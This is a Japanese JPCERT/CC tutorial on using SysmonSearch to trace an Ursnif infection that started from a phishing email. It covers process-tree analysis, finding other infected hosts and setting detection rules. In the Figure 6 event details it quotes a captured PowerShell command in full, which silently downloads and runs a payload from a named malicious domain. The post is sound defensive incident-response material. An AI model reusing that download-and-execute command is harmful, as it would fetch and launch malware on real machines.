SysmonSearchを用いて不審な挙動を調査

昨年9月のJPCERT/CC Eyes では、Sysmonのログを分析するツール「SysmonSearch」の機能について紹介しました。今回は、実際にSysmonSearchを使ったインシデント調査方法について具体例を基に紹介します。 SysmonSearchのインストール方法については以下URLをご覧ください。

JPCERTCC GitHub · SysmonSearch Wiki
https://github.com/JPCERTCC/SysmonSearch/wiki

なお、今回紹介する調査方法にでは以下環境を使用しています。

  • Sysmon 7.0.1
  • ElasticSearch 6.2.2
  • Kibana 6.2.2
  • Winlogbeat 6.2.2
  • ブラウザ:Firefox

SysmonSearchを使用したインシデント調査の例

今回は、SysmonSearchで以下2つの調査を例として紹介します。最後に、SysmonSearchの機能を使った監視ルールに基づく不審な挙動の検知方法についても紹介します。

  • 不審なプロセスの調査
  • 他端末への感染の調査

不審なプロセスの調査

インシデント調査を始めるきっかけはいくつかありますが、今回の例では、ある特定のプロセスがウイルス対策ソフトで検知したことを起点として不審なプロセスを調査します。

  • ウイルス対策ソフトの検知内容
    • 日時: 2019/01/08
    • コンピューター名: Win7_64JP_01
    • プロセス名: TempNcF88.eXe
「TempNcF88.eXe」のプロセス調査

検知したプロセス名を、SysmonSearchの検索機能を使って検索してみます。検索バーのコンボボックスから「Process Name」を選択し、テキスト欄に「TempNcF88.eXe」と入力し、「Find Now」ボタンを押します(図1)。

図1 SysmonSearch検索バー

図2 SysmonSearch検索結果

検索結果にヒットしたレコードが表示されます(図2)。(レコードのカラムの説明はAppendix Aをご覧ください。) 図2の赤枠のように、「TempNcF88.eXe」のプロセスが作成されたイベントが確認できます。Imageのカラムはリンクになっており、図2赤枠内のImageカラム「C:\Users\urawa.saitama\AppData\Local\TempNcF88.eXe」のリンクをクリックするとブラウザの新しいタブが開かれ、プロセス間の関係を可視化する画面が表示されます(図3)。

図3 SysmonSearch可視化画面

表示された画面でプロセス間の関係を確認すると、「TempNcF88.eXe」は「cmd.exe」から呼び出されたことがわかります。また、「rundll32.exe」などの子プロセスを作成していることや複数のファイルを作成していることがわかります。

「TempNcF88.eXe」作成の痕跡調査

次に、「TempNcF88.eXe」はどのように作成されたのかを検索機能を使って調べてみます。検索バーのコンボボックスから「File Name」を選択し、テキスト欄に「TempNcF88.eXe」と入力し、「Find Now」ボタンを押します。

図4 SysmonSearch検索画面

検索結果から図4の赤枠で囲んだImageカラムの「C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe」のリンクをクリックし、プロセス間の関係を確認してみます(図5)。

図5 SysmonSearch可視化画面

プロセス間の関係を確認すると「TempNcF88.eXe」はPowerShellから作成されたことがわかります。この画面のPowerShellのアイコンを右クリックすると、選択したイベントの詳細が画面下のテキストボックスに表示されます(図6)。

CurrentDirectory:C:\Windows\system32\
CommandLine:powershell.exe  -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://fgyt.shadidphotography.com/789234.bin?jBVtX','C:\Users\CHIYOD~1.TOK\AppData\Local\TempNcF88.exe');
Hashes:MD5=F6C714F1020F9BBF6A8534AC8AD7662F,SHA256=BD087BC6B93A8A3690292721203100EFF014FEA4D76F9D78489A802604BE05E4
ParentProcessGuid:{02EA0504-2F25-5C34-0000-0010DDDD8F07}
ParentCommandLine:"C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://fgyt.shadidphotography.com/789234.bin?jBVtX','%temp%NcF88.exe'); & start %tEmP%NcF88.eXe
ProcessGuid:{02EA0504-2F25-5C34-0000-001025E08F07}
図6 イベントPowerShellの詳細

イベントの詳細にはPowerShellのコマンド内容が確認できます。内容を確認すると、通信先「fgyt.shadidphotography.com」からファイルをダウンロードし、ダウンロードしたファイルをユーザー(chiyoda.tokyo)のAppData\Localフォルダーに「TempNcF88.eXe」という名前で保存し、実行するというコマンドであることがわかります。

ここで図5にあるようにネットワーク通信として「192.168.1.200」に通信したと記録されていますが、このIPアドレスは本端末に設定しているプロキシサーバーのIPアドレスになります。これは、Sysmonの仕様で端末にプロキシサーバーを設定している場合、ネットワーク通信(イベントID3)に記録される通信先にはプロキシサーバーのIPアドレスが記録されます。そのため、ネットワーク通信を確認する場合にはプロキシやFirewallのログなどと併せて確認する必要があります。

「TempNcF88.eXe」が実行されるまでの流れ

プロセス間の関係について詳細には説明しませんが、さらに親プロセスとなったファイル名を順に調査していくと以下のような流れで「TempNcF88.eXe」が実行されたことを把握することができます。

  • プロセス間の流れ
    1. メーラーからブラウザが起動した
    2. ブラウザがネットワーク通信を行い、ZIPファイルを作成(ダウンロード)した
    3. ZIPファイルからJavaScriptを作成(展開)した
    4. エクスプローラーから展開したJavaScriptを実行した
    5. JavaScriptからコマンドプロンプト(cmd.exe)経由でPowerShellが起動した
    6. PowerShellコマンドより、通信先「fgyt.shadidphotography.com」からファイルをダウンロードし、ダウンロードしたファイルをTemp以下に「TempNcF88.eXe」という名前で保存し、実行した

結果として、該当のマルウエアはメールを起点に感染したことがわかります。このように、調査の中でわかった情報を検索していくことで、プロセス間の関係性を把握していきます。

今回の例に挙げたプロセス「TempNcF88.eXe」は日本を標的にしたばらまきメールでよく使用されているUrsnifと呼ばれるマルウエアです。Ursnifは感染端末情報の窃取する機能があり、ブラウザにコード注入し、オンラインバンキングサイト等へアクセスした際に、入力したユーザーIDとパスワード等を窃取する機能等あります。

他端末への感染の調査

他の端末がマルウエア感染をしていないか確認してみます。検索バーのFieldのコンボボックスから「Process Name」を選択し、テキスト欄に「TempNcF88.eXe」と入力し、「Find Now」ボタンを押します。

図7 SysmonSearch検索画面

検索結果を確認するとヒットしたホストの数が2ホストであることがわかります(図7)。レコード内容を確認すると1つは先ほど調査した「Win7_64JP_01」で、もう一つは「Win10_64JP_04」です。そこで、「Win7_64JP_01」の調査同様に「Win10_64JP_04」についてプロセス間の関係を確認してみると「Win7_64JP_01」と同様にメールからUrsnifに感染したことがわかります。 このように、検索機能を使用することで他端末への感染も確認できます。

監視ルールに基づく不審な挙動の検知

SysmonSearchでは、ログの監視ルールを設定することでインシデントの早期発見が可能です。監視ルールの定義は検索画面から行うことができます。検索バーのFieldのコンボボックスから「Process Name」を選択し、テキスト欄に「TempNcF88.eXe」と入力し、「Save as Detection Rule」を選択すると、監視ルールが登録されます(図8)。 ※監視ルールの設定では、STIXやIoC形式ファイルもインポートすることができ、「Import」ボタンを押し、STIX、IoC形式ファイルを選択することで、検索条件ならびに監視ルールを設定することができます。

図8 SysmonSearchルール登録画面

設定した監視ルールは30分間隔で収集したログに対し検索されます。監視ルールにヒットした場合、監視画面で表示されます(図9)。

図9 SysmonSearch監視画面

おわりに

今回はSysmonSearchの使い方について、インシデント調査の例を紹介しました。 SysmonSearchは今後も機能のアップデートを行っていく予定ですので、SysmonSearchに関してリクエストなどありましたら、ご連絡いただければ幸いです。

Appendix A: カラム内容

カラム 内容
UtcTime ログが記録された時間(UTC)
EventId SysmonのイベントID
Level Sysmonのログに記録されたレベル
Computer コンピューター名
※Table、Graphリンクについて
選択したイベント内容から前後1時間のレコードを表示します。これにより、不審なイベントを発見した場合、前後1時間のイベントを確認することで不審なイベントが見つかるかもしれない機能になります。
UserName ユーザー名
Image Sysmonのログに記録されたImage内容
※リンクについて
選択したイベントのプロセス間の関係性を可視化することができます。

Appendix B: Sysmonのロギング設定について

Sysmonのロギングについて紹介します。Sysmonはインストールしただけでは、ネットワーク通信やレジストリ関連イベント等を記録することができません。記録するためには、Sysmonのコンフィグファイルを作成し、インポートする必要があります。コンフィグファイルの作成方法については、以下URLより確認できますのでご参照いただければと思います。

Sysmon - Windows Sysinternals | Microsoft Docs
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files

≪ 前へ
トップに戻る
次へ ≫